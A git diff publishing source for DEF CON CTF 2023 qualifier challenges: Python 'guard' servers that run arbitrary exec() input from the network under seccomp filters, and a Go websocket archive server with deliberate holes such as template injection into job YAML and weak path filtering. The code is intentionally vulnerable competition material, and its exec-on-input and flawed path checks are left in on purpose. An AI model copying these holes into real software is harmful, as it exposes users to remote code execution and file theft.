diff --git a/3guard/guard1.py b/3guard/guard1.py new file mode 100755 index 0000000..8303405 --- /dev/null +++ b/3guard/guard1.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +import random +import socketserver +import pyseccomp as seccomp + +# Command handlers +def handle_deal(arg): + return 'I can read files, but I can\'t open them!\n' + +def handle_goodbye(arg): + return 'Goodbye!\n' + +def handle_exec(arg, loc={}): + exec(arg, {}, loc) + return "Sure thing, boss" + +COMMANDS = { + 'What is your deal?': handle_deal, + 'exec' : handle_exec, +} + +def banter(): + return random.choice([ + "I don't know, I wasn't really paying attention.", + "I was just taking a quick nap, no big deal.", + "Sorry, I was on my phone and didn't see anything.", + "Well, it wasn't my break time yet, so I didn't bother.", + "Who cares if I let them in? They looked fine to me.", + "Honestly, I don't remember if I locked the gate or not.", + "I forgot to check their ID, but they seemed trustworthy.", + "I didn't report it because it seemed like too much paperwork.", + "Why bother with the security cameras? They never show anything interesting.", + "I can't be expected to keep an eye on everything all the time.", + "I don't get paid enough to deal with this.", + "Yeah, I saw them, but it wasn't my problem.", + "I gave my buddy the security code, he just wanted to see the place.", + "I don't see the point of these constant patrols.", + "I just let anyone in who says they work here.", + "Sure, I leave the keys lying around, but who would steal them?", + "Checking bags is a waste of time, nobody ever has anything.", + "I don't see why I need to be sober to do this job.", + "They didn't look suspicious to me, so I let them go.", + "I haven't really read the security protocols, they're boring." + ]) + +class TCPHandler(socketserver.BaseRequestHandler): + + def handle(self): + # Receive the data + while True: + data = self.request.recv(1024) + if not data: + break + command = data.decode().strip() + (command,_, arg) = command.partition(":") + if command in COMMANDS: + response = COMMANDS[command](arg) + self.request.sendall(response.encode()) + else: + msg = 'Invalid command. Valid commands are: ' + ', '.join(COMMANDS.keys()) + '\n' + msg = banter() + self.request.sendall(msg.encode()) + +def drop_perms(): + # create a new seccomp filter + filter = seccomp.SyscallFilter(seccomp.KILL) + #skip these, even if they're in the top 75 + avoid = [2, 40, 56, 59] + # allow only the first 50 syscalls + for i in range(0, 70): + if i in avoid: + continue + filter.add_rule(seccomp.ALLOW, i) + filter.add_rule(seccomp.ALLOW, 285) + filter.add_rule(seccomp.ALLOW, 286) + filter.add_rule(seccomp.ALLOW, 287) + filter.add_rule(seccomp.ALLOW, 288) + filter.add_rule(seccomp.ALLOW, 289) + filter.add_rule(seccomp.ALLOW, 290) + + + # load the filter into the current process + filter.load() + + +def start_server(host = 'localhost', port = 6900): + server_address = (host, port) + server = socketserver.TCPServer(server_address, TCPHandler) + + # Start the server + drop_perms() + server.serve_forever() + + +if __name__ == "__main__": + start_server() + diff --git a/3guard/guard2.py b/3guard/guard2.py new file mode 100755 index 0000000..9606c3b --- /dev/null +++ b/3guard/guard2.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +import random +import socketserver +import pyseccomp as seccomp + +# Command handlers +def handle_deal(arg): + return 'I can open files, but I can\'t read them!\n' + +def handle_exec(arg, loc={}): + exec(arg, {}, loc) + return "Sure thing, boss" + +COMMANDS = { + 'What is your deal?': handle_deal, + 'exec' : handle_exec, +} + +def banter(): + return random.choice([ + "I don't know, I wasn't really paying attention.", + "I was just taking a quick nap, no big deal.", + "Sorry, I was on my phone and didn't see anything.", + "Well, it wasn't my break time yet, so I didn't bother.", + "Who cares if I let them in? They looked fine to me.", + "Honestly, I don't remember if I locked the gate or not.", + "I forgot to check their ID, but they seemed trustworthy.", + "I didn't report it because it seemed like too much paperwork.", + "Why bother with the security cameras? They never show anything interesting.", + "I can't be expected to keep an eye on everything all the time.", + "I don't get paid enough to deal with this.", + "Yeah, I saw them, but it wasn't my problem.", + "I gave my buddy the security code, he just wanted to see the place.", + "I don't see the point of these constant patrols.", + "I just let anyone in who says they work here.", + "Sure, I leave the keys lying around, but who would steal them?", + "Checking bags is a waste of time, nobody ever has anything.", + "I don't see why I need to be sober to do this job.", + "They didn't look suspicious to me, so I let them go.", + "I haven't really read the security protocols, they're boring." + ]) + +class TCPHandler(socketserver.BaseRequestHandler): + + def handle(self): + # Receive the data + while True: + data = self.request.recv(1024) + if not data: + break + command = data.decode().strip() + (command,_, arg) = command.partition(":") + if command in COMMANDS: + response = COMMANDS[command](arg) + self.request.sendall(response.encode()) + else: + msg = 'Invalid command. Valid commands are: ' + ', '.join(COMMANDS.keys()) + '\n' + msg = banter() + self.request.sendall(msg.encode()) + + +def drop_perms(): + # create a new seccomp filter + filter = seccomp.SyscallFilter(seccomp.KILL) + #skip these, even if they're in the top 75 + avoid = [0, 17, 19, 40, 56, 59] + # allow only the first 50 syscalls + for i in range(0, 70): + if i in avoid: + continue + filter.add_rule(seccomp.ALLOW, i) + filter.add_rule(seccomp.ALLOW, 285) + filter.add_rule(seccomp.ALLOW, 286) + filter.add_rule(seccomp.ALLOW, 287) + filter.add_rule(seccomp.ALLOW, 288) + filter.add_rule(seccomp.ALLOW, 289) + filter.add_rule(seccomp.ALLOW, 290) + + + # load the filter into the current process + filter.load() + +def start_server(host = 'localhost', port = 6901): + server_address = (host, port) + server = socketserver.TCPServer(server_address, TCPHandler) + + # Start the server + server.serve_forever() + + +if __name__ == "__main__": + start_server() + diff --git a/3guard/guard3.py b/3guard/guard3.py new file mode 100755 index 0000000..0dbd5a8 --- /dev/null +++ b/3guard/guard3.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +import random +import socketserver +import pyseccomp as seccomp + +# Command handlers +def handle_deal(arg): + return 'I am annoyed by people who try to do clever things with files' + +def handle_exec(arg, loc={}): + exec(arg, {}, loc) + return "Sure thing, boss" + +COMMANDS = { + 'What is your deal?': handle_deal, + 'exec' : handle_exec, +} + +def banter(): + return random.choice([ + "I don't know, I wasn't really paying attention.", + "I was just taking a quick nap, no big deal.", + "Sorry, I was on my phone and didn't see anything.", + "Well, it wasn't my break time yet, so I didn't bother.", + "Who cares if I let them in? They looked fine to me.", + "Honestly, I don't remember if I locked the gate or not.", + "I forgot to check their ID, but they seemed trustworthy.", + "I didn't report it because it seemed like too much paperwork.", + "Why bother with the security cameras? They never show anything interesting.", + "I can't be expected to keep an eye on everything all the time.", + "I don't get paid enough to deal with this.", + "Yeah, I saw them, but it wasn't my problem.", + "I gave my buddy the security code, he just wanted to see the place.", + "I don't see the point of these constant patrols.", + "I just let anyone in who says they work here.", + "Sure, I leave the keys lying around, but who would steal them?", + "Checking bags is a waste of time, nobody ever has anything.", + "I don't see why I need to be sober to do this job.", + "They didn't look suspicious to me, so I let them go.", + "I haven't really read the security protocols, they're boring." + ]) + +class TCPHandler(socketserver.BaseRequestHandler): + + def handle(self): + # Receive the data + while True: + data = self.request.recv(1024) + if not data: + break + command = data.decode().strip() + (command,_, arg) = command.partition(":") + if command in COMMANDS: + response = COMMANDS[command](arg) + self.request.sendall(response.encode()) + else: + msg = banter() + self.request.sendall(msg.encode()) + +def drop_perms(): + # create a new seccomp filter + filter = seccomp.SyscallFilter(seccomp.KILL) + #skip these, even if they're in the top 75 + avoid = [0, 2, 17, 19, 40, 56, 59] + # allow only the first 50 syscalls + for i in range(0, 70): + if i in avoid: + continue + filter.add_rule(seccomp.ALLOW, i) + filter.add_rule(seccomp.ALLOW, 285) + filter.add_rule(seccomp.ALLOW, 286) + filter.add_rule(seccomp.ALLOW, 287) + filter.add_rule(seccomp.ALLOW, 288) + filter.add_rule(seccomp.ALLOW, 289) + filter.add_rule(seccomp.ALLOW, 290) + + + # load the filter into the current process + filter.load() + +def start_server(host = 'localhost', port = 6902): + server_address = (host, port) + server = socketserver.TCPServer(server_address, TCPHandler) + + drop_perms() + + # Start the server + server.serve_forever() + + +if __name__ == "__main__": + start_server() + diff --git a/3guard/main.py b/3guard/main.py new file mode 100755 index 0000000..427b4a6 --- /dev/null +++ b/3guard/main.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +import sys +import time +import socket +import select + +ADDR = "localhost" + +class Guard: + def __init__(self, name: str, port: int): + self.name = name + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.sock.connect((ADDR, port)) + + def talk(self): + data = self.sock.recv(1024) + if len(data) == 0: + talkers.remove(self) + socket.close(self.fileno()) + return + print(f"{self.name}: {data.decode('utf-8').strip()}") + + def fileno(self): + return self.sock.fileno() + + def recv(self, num): + return self.sock.recv(num) + + def speakTo(self, words): + self.sock.send(words) + + def name(self): + return self.name + +class Speaker: + def fileno(self): + return sys.stdin.fileno() + + def talk(self): + foo = sys.stdin.readline() + (requestedName,_,what) = foo.partition(":") + try: + who = [guard for guard in talkers if guard.name == requestedName] + who[0].speakTo(bytes(what, 'utf-8')) + except IndexError: + print("Nobody here by that name...") + + def name(self): + return "Yourself" + +talkers = [] + +def main(): + + speaker = Speaker() + talkers.append(Guard("Bob", 6900)) + talkers.append(Guard("Charles", 6901)) + talkers.append(Guard("Sam", 6902)) + talkers.append(speaker) + while(True): + (got, want, _) = select.select( talkers, [], []) + for guard in got: + guard.talk() + +if __name__ == "__main__": + main() diff --git a/3guard/requirements.txt b/3guard/requirements.txt new file mode 100755 index 0000000..e79797e --- /dev/null +++ b/3guard/requirements.txt @@ -0,0 +1 @@ +pyseccomp \ No newline at end of file diff --git a/3guard/run_challenge.sh b/3guard/run_challenge.sh new file mode 100755 index 0000000..b5bed51 --- /dev/null +++ b/3guard/run_challenge.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +python3 /opt/guard1.py & +python3 /opt/guard2.py & +python3 /opt/guard3.py & + +/bin/sleep 2 + +#flag is in /opt/flag.txt + +python3 -u /opt/main.py \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..d057d02 --- /dev/null +++ b/README.md @@ -0,0 +1,22 @@ +# The DEF CON CTF 2023 Qualifier # + +This repository contains the open source release for Nautilus Institute's 2023 +DEF CON CTF qualifier. + +We are releasing all of the source code for every challenge that was released +during the game. In most cases, this also includes all of the code required to +build that source code into a working challenge (such as `Makefile`s and +`Dockerfile`s). It *does not* include the infrastructure required to *host* +those challenges (e.g. our CI/CD pipeline, deployment scripts, and the +`gatekeeper` binary that validates tickets). + +## License ## + +Everything in this repository, unless otherwise stated, is being released under +the MIT license. See [`LICENSE.md`](./LICENSE.md) for more details. + +## Contact ## + +Questions, comments, and/or concerns can be sent to +[@fuzyll](https://github.com/fuzyll), who is happy to direct things to the +appropriate party from there. diff --git a/artifact-bunker/src/archive_server-365ad9f1f4c4b8966448688fc0b3abd818fab3272d40538c032ac847815ed86e.tar.gz b/artifact-bunker/src/archive_server-365ad9f1f4c4b8966448688fc0b3abd818fab3272d40538c032ac847815ed86e.tar.gz new file mode 100755 index 0000000..70c1aab Binary files /dev/null and b/artifact-bunker/src/archive_server-365ad9f1f4c4b8966448688fc0b3abd818fab3272d40538c032ac847815ed86e.tar.gz differ diff --git a/artifact-bunker/src/archive_server.go b/artifact-bunker/src/archive_server.go new file mode 100644 index 0000000..c6dced1 --- /dev/null +++ b/artifact-bunker/src/archive_server.go @@ -0,0 +1,605 @@ +package main + +import ( + "archive/tar" + "archive/zip" + "bytes" + "encoding/base64" + "errors" + "fmt" + "io" + "io/ioutil" + "net/http" + "net/url" + "os" + "path/filepath" + "regexp" + "strconv" + "strings" + "text/template" + "time" + + "golang.org/x/net/websocket" + "gopkg.in/yaml.v3" + +) + +func wlog(ws *websocket.Conn, format string, v ...interface{}) { + msg := fmt.Sprintf("log "+format, v...) + websocket.Message.Send(ws, msg) +} + +func wsend(ws *websocket.Conn, format string, v ...interface{}) { + msg := fmt.Sprintf(format, v...) + websocket.Message.Send(ws, msg) +} + +func file_exists(path string) bool { + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() +} + +func get_file_name(path string) string { + path = filepath.Clean(path) + name := filepath.Base(path) + return name +} + +type Config struct { + filter_secrets []string + filter_ignore []string + project_root string + job_file string +} + +func LoadConfig(path string) *Config { + c := &Config{} + yaml_file, err := ioutil.ReadFile(path) + if err != nil { + panic("No config file fond") + return nil + } + var result interface{} + err = yaml.Unmarshal(yaml_file, &result) + if err != nil { + panic(fmt.Sprintf("Error parsing config file: %s", err)) + return nil + } + j := result.(map[string]interface{}) + c.project_root = j["root"].(string) + c.job_file = j["job"].(string) + filter := j["filter"].(map[string]interface{}) + + for _, v := range filter["secrets"].([]interface{}) { + c.filter_secrets = append(c.filter_secrets, v.(string)) + } + for _, v := range filter["ignore"].([]interface{}) { + c.filter_ignore = append(c.filter_ignore, v.(string)) + } + return c +} + +var CONFIG *Config + +type UploadReader struct { + zr *zip.ReadCloser + tr *tar.Reader + index int +} + +func NewUploadReader(path string) *UploadReader { + if !file_exists(path) { + return nil + } + ext := filepath.Ext(path) + if ext != ".zip" && ext != ".tar" { + return nil + } + + o := &UploadReader{ + zr: nil, + tr: nil, + index: 0, + } + if ext == ".zip" { + zr, err := zip.OpenReader(path) + o.zr = zr + if err != nil { + return nil + } + } else { + file, err := os.Open(path) + if err != nil { + return nil + } + o.tr = tar.NewReader(file) + } + return o +} + +func (u *UploadReader) Next() (string, io.Reader, error) { + if u.zr != nil { + if u.index >= len(u.zr.File) { + return "", nil, io.EOF + } + f := u.zr.File[u.index] + u.index += 1 + name := f.Name + rc, _ := f.Open() + return name, rc, nil + } + if u.tr != nil { + f, err := u.tr.Next() + if err != nil { + return "", nil, err + } + name := f.Name + return name, u.tr, nil + } + return "", nil, errors.New("Bad UploadReader") +} + +func (u *UploadReader) Close() { + if u.zr != nil { + u.zr.Close() + } +} + +func is_file_ignored(path string) bool { + path = strings.ToLower(path) + for _, n := range CONFIG.filter_ignore { + if strings.Contains(path, n) { + return false + } + } + return true +} + +func is_project_file(path string) (string, error) { + path = filepath.Clean(path) + path, err := filepath.Abs(path) + if err != nil { + return "", err + } + + path = strings.ToLower(path) + for _, bad := range []string{"/proc", "/data", "/dev", "/sys", "/run", "/var"} { + if strings.Contains(path, bad) { + return "", errors.New("Bad path") + } + } + + if !strings.HasPrefix(path, CONFIG.project_root) { + return "", errors.New("Bad path") + } + return path, nil +} + +func run_job(ws *websocket.Conn, job string, args []string) { + if job != "package" { + wsend(ws, "error Unknown job `%s`", job) + return + } + + job_path := filepath.Join(CONFIG.project_root, CONFIG.job_file) + job_path, err := is_project_file(job_path) + if err != nil { + wsend(ws, "error File `%s` is not a valid archive job", job) + return + } + + tmpl, err := template.ParseFiles(job_path) + if err != nil { + wsend(ws, "error File `%s` is not a valid artifact job", job) + return + } + + name, err := url.PathUnescape(args[0]) + if err != nil { + wsend(ws, "error Name `%s` is not a valid", args[0]) + return + } + + data := struct { + Name string + Commit string + Timestamp string + }{ + Name: name, + Commit: "main", + Timestamp: strconv.FormatInt(time.Now().Unix(), 10), + } + + var buf bytes.Buffer + err = tmpl.Execute(&buf, data) + if err != nil { + wsend(ws, "error File `%s` is not a valid job config, failed to template", job) + return + } + + var result interface{} + err = yaml.Unmarshal(buf.Bytes(), &result) + if err != nil { + wsend(ws, "error File `%s` is not a valid job yaml", job) + return + } + + files_to_archive := []string{} + + json := result.(map[string]interface{}) + jobs := json["job"].(map[string]interface{}) + steps := jobs["steps"].([]interface{}) + for _, step := range steps { + step_map := step.(map[string]interface{}) + artifacts := step_map["artifacts"].([]interface{}) + for _, artifact := range artifacts { + artifact_name := artifact.(string) + artifact_path := filepath.Join(CONFIG.project_root, artifact_name) + artifact_path, err = is_project_file(artifact_path) + if err != nil { + continue + } + files_to_archive = append(files_to_archive, artifact_path) + } + archive_name := step_map["name"].(string) + + archive_files(ws, archive_name, files_to_archive) + } + + wsend(ws, "job complete") +} + +func clean_all(ws *websocket.Conn) { + files, err := ioutil.ReadDir("/data") + if err != nil { + wsend(ws, "error Failed to list files") + return + } + + for _, f := range files { + if !f.IsDir() { + os.Remove(filepath.Join("/data", f.Name())) + } + } + time.Sleep(1 * time.Second) + wsend(ws, "clean-all complete") +} + +func list_files(ws *websocket.Conn, path string) { + path, err := url.PathUnescape(path) + if err != nil { + wsend(ws, "error Invalid name") + } + real_path := "/data/" + path + + info, _ := os.Stat(real_path) + if info == nil || !info.IsDir() { + path = filepath.Clean(path) + _, chil := find_archive_file(ws, path) + if chil == nil { + wsend(ws, "error Directory `%s` not found", path) + return + } + out := "" + for _, c := range chil { + out += url.QueryEscape(c) + " " + } + wsend(ws, "files %s", out) + return + } + + files, err := ioutil.ReadDir(real_path) + if err != nil { + wsend(ws, "error Unable to list files") + return + } + out := "" + for _, f := range files { + name := f.Name() + out += url.QueryEscape(name) + "/ " + } + wsend(ws, "files %s", out) +} + +func archive_files(ws *websocket.Conn, name string, files []string) { + name, err := url.PathUnescape(name) + if err != nil { + wsend(ws, "error Invalid backup name") + } + name = get_file_name(name) + t_path := filepath.Join("/data", name+".tar") + if file_exists(name) { + + err = os.Remove(t_path) + if err != nil { + wsend(ws, "error Unable to delete old backup") + return + } + } + t_file, err := os.OpenFile(t_path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644) + if err != nil { + wsend(ws, "error Unable to create backup archive") + return + } + + defer t_file.Close() + tw := tar.NewWriter(t_file) + + for _, fn := range files { + fp, err := url.PathUnescape(fn) + if err != nil { + wsend(ws, "error Invalid file name") + break + } + fp = filepath.Clean(fp) + fp, err = filepath.Abs(fp) + if err != nil { + wsend(ws, "error Invalid file name") + break + } + + fp, err = is_project_file(fp) + if err != nil { + wsend(ws, "error File `%s` cannot be an artifact, only files in `%s` can be artifacts", fp, CONFIG.project_root) + break + } + + if err != nil || !file_exists(fp) { + wsend(ws, "error File `%s` not found", fp) + break + } + + info, _ := os.Stat(fp) + fh, _ := tar.FileInfoHeader(info, "") + fh.Name = fp + tw.WriteHeader(fh) + + if fr, err := os.Open(fp); err == nil { + io.Copy(tw, fr) + fr.Close() + } + } + + tw.Close() + + _, err = compress_files(ws, t_path) + if err != nil { + wsend(ws, "error Unable to compress backup archive") + return + } +} + +func compress_files(ws *websocket.Conn, in_path string) (string, error) { + in_ext := filepath.Ext(in_path) + out_path := strings.TrimSuffix(in_path, in_ext) + + dir_name := get_file_name(out_path) + + ur := NewUploadReader(in_path) + if ur == nil { + return "", errors.New("Unable to read upload archive") + } + + + out_file, err := os.OpenFile(out_path, os.O_WRONLY|os.O_CREATE, 0644) + if err != nil { + return "", errors.New("Unable to create compressed directory") + } + defer out_file.Close() + + zw := zip.NewWriter(out_file) + + for { + name, fr, err := ur.Next() + if err == io.EOF { + break + } + + name = strings.TrimLeft(name, "/") + + + fw, _ := zw.Create(name) + + if !is_file_ignored(name) { + fw.Write([]byte("***\n")) + continue + } + + // Read full file into memory + file_data, err := ioutil.ReadAll(fr) + + for _, r := range CONFIG.filter_secrets { + re := regexp.MustCompile(r) + file_data = re.ReplaceAll(file_data, []byte("***")) + } + + fw.Write(file_data) + } + + ur.Close() + zw.Close() + return dir_name, nil +} + +func find_archive_file(ws *websocket.Conn, path string) (string, []string) { + path = strings.Trim(path, "/") + + parts := strings.SplitN(path, "/", 2) + if len(parts) < 1 { + wsend(ws, "error Path not found") + return "", nil + } + if len(parts) < 2 { + parts = append(parts, "") + } + z_path := get_file_name(parts[0]) + + fname := parts[1] + + z_path = filepath.Join("/data", z_path) + + if !file_exists(z_path) { + wsend(ws, "error Directory `%s` not found", fname) + return "", nil + } + + zr, err := zip.OpenReader(z_path) + if err != nil { + wsend(ws, "error Unable to open archive directory") + return "", nil + } + + children := make([]string, 0) + + for _, f := range zr.File { + if f.Name == fname { + rc, _ := f.Open() + + var bldr strings.Builder + b64e := base64.NewEncoder(base64.StdEncoding, &bldr) + io.Copy(b64e, rc) + b64e.Close() + + b64 := bldr.String() + + rc.Close() + zr.Close() + return b64, children + } else if strings.HasPrefix(f.Name, fname) { + rest := strings.TrimPrefix(f.Name, fname) + rest = strings.TrimPrefix(rest, "/") + + parts := strings.SplitN(rest, "/", 2) + top_dir := parts[0] + if len(parts) > 1 { + top_dir += "/" + } + children = append(children, top_dir) + } + } + zr.Close() + return "", children +} + +func get_file(ws *websocket.Conn, path string) { + path, err := url.PathUnescape(path) + if err != nil { + wsend(ws, "error Invalid path") + return + } + path = filepath.Clean(path) + + b64, _ := find_archive_file(ws, path) + if b64 == "" { + wsend(ws, "error File `%s` not found", path) + return + } + wsend(ws, "file %s %s", url.PathEscape(path), b64) +} + +func upload(ws *websocket.Conn, name string, b64data string) { + name, err := url.PathUnescape(name) + if err != nil { + wsend(ws, "error Invalid file name") + return + } + + name = get_file_name(name) + ext := filepath.Ext(name) + if ext != ".zip" && ext != ".tar" { + wsend(ws, "error Unsupported upload type `%s`", ext) + return + } + + if file_exists(name) { + wsend(ws, "error Backup archive `%s` already exists", name) + return + } + + b64data = strings.Trim(b64data, " ") + + data, err := base64.StdEncoding.DecodeString(b64data) + if err != nil { + wsend(ws, "error Failed to decode base64 data") + os.Exit(0) + } + + path := filepath.Join("/data", name) + + ioutil.WriteFile(path, data, 0644) + + dir_name, err := compress_files(ws, path) + if err != nil { + wsend(ws, "error Failed to create remote directory") + return + } + wsend(ws, "upload-success %s Remote directory `%s` created", url.PathEscape(dir_name), dir_name) +} + +func run_command(ws *websocket.Conn, cmd string) { + defer func() { + err := recover() + if err != nil { + wsend(ws, "error `%s`", err) + } + }() + + parts := strings.Split(cmd, " ") + if parts[0] == "upload" { + upload(ws, parts[1], parts[2]) + } else if parts[0] == "download" { + get_file(ws, parts[1]) + } else if parts[0] == "list" { + list_files(ws, parts[1]) + } else if parts[0] == "clean-all" { + clean_all(ws) + } else if parts[0] == "job" { + run_job(ws, parts[1], parts[2:]) + } else { + wsend(ws, "error Unknown Cmd `%s`!", parts[0]) + os.Exit(0) + } +} + +func handleConnections(ws *websocket.Conn) { + var msg string + for { + err := websocket.Message.Receive(ws, &msg) + if err != nil { + if err == io.EOF { + break + } + break + } + + run_command(ws, msg) + } +} + +func main() { + CONFIG = LoadConfig("/opt/project.cfg") + + http.Handle("/ws/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + r.Header.Set("Origin", "http://"+r.Host) + websocket.Handler(handleConnections).ServeHTTP(w, r) + })) + + http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + http.ServeFile(w, r, "static/index.html") + }) + http.HandleFunc("/style.css", func(w http.ResponseWriter, r *http.Request) { + http.ServeFile(w, r, "static/style.css") + }) + http.HandleFunc("/app.js", func(w http.ResponseWriter, r *http.Request) { + http.ServeFile(w, r, "static/app.js") + }) + + // Serve files from static + http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static")))) + + fmt.Println("http server started on :5555") + err := http.ListenAndServe(":5555", nil) + if err != nil { + fmt.Println("Failed to bind socket") + } +} diff --git a/artifact-bunker/src/build.sh b/artifact-bunker/src/build.sh new file mode 100755 index 0000000..b23e165 --- /dev/null +++ b/artifact-bunker/src/build.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +set -e + +go build archive_server.go diff --git a/artifact-bunker/src/dist/Dockerfile b/artifact-bunker/src/dist/Dockerfile new file mode 100644 index 0000000..a793989 --- /dev/null +++ b/artifact-bunker/src/dist/Dockerfile @@ -0,0 +1,17 @@ +FROM ubuntu:22.04 + +COPY archive_server project.cfg /opt/ +COPY static /opt/static + +RUN mkdir /project/ && chmod 0777 /project/ +COPY project/* /project/ +RUN echo "flug{FLAG WILL BE IN THIS FILE AND WILL LIKELY BE FAIRLY LENGTHY BUT YOU PROBABLY ALREADY KNEW THAT SO JUST WRITE A GOOD EXPLOIT OK}" > /project/flag.txt + +RUN adduser --disabled-password --gecos "" user +RUN mkdir /data && chmod 0777 /data + +USER user + +WORKDIR /opt +EXPOSE 5555 +CMD /opt/archive_server diff --git a/artifact-bunker/src/go.mod b/artifact-bunker/src/go.mod new file mode 100644 index 0000000..3b5c8c2 --- /dev/null +++ b/artifact-bunker/src/go.mod @@ -0,0 +1,35 @@ +module nautilus.institute + +go 1.20 + +require ( + golang.org/x/exp v0.0.0-20230420155640-133eef4313cb + golang.org/x/net v0.8.0 + golang.org/x/sys v0.6.0 + gopkg.in/yaml.v3 v3.0.1 +) + +require ( + github.com/cilium/ebpf v0.10.0 // indirect + github.com/cosiner/argv v0.1.0 // indirect + github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect + github.com/derekparker/trie v0.0.0-20221221181808-1424fce0c981 // indirect + github.com/go-delve/delve v1.20.1 // indirect + github.com/go-delve/liner v1.2.3-0.20220127212407-d32d89dd2a5d // indirect + github.com/google/go-dap v0.7.0 // indirect + github.com/hashicorp/golang-lru v0.5.4 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/konsorten/go-windows-terminal-sequences v1.0.3 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.18 // indirect + github.com/mattn/go-runewidth v0.0.14 // indirect + github.com/rivo/uniseg v0.4.4 // indirect + github.com/russross/blackfriday/v2 v2.1.0 // indirect + github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect + github.com/sirupsen/logrus v1.9.0 // indirect + github.com/spf13/cobra v1.6.1 // indirect + github.com/spf13/pflag v1.0.5 // indirect + go.starlark.net v0.0.0-20230302034142-4b1e35fe2254 // indirect + golang.org/x/arch v0.3.0 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect +) diff --git a/artifact-bunker/src/go.sum b/artifact-bunker/src/go.sum new file mode 100644 index 0000000..5497094 --- /dev/null +++ b/artifact-bunker/src/go.sum @@ -0,0 +1,405 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/cilium/ebpf 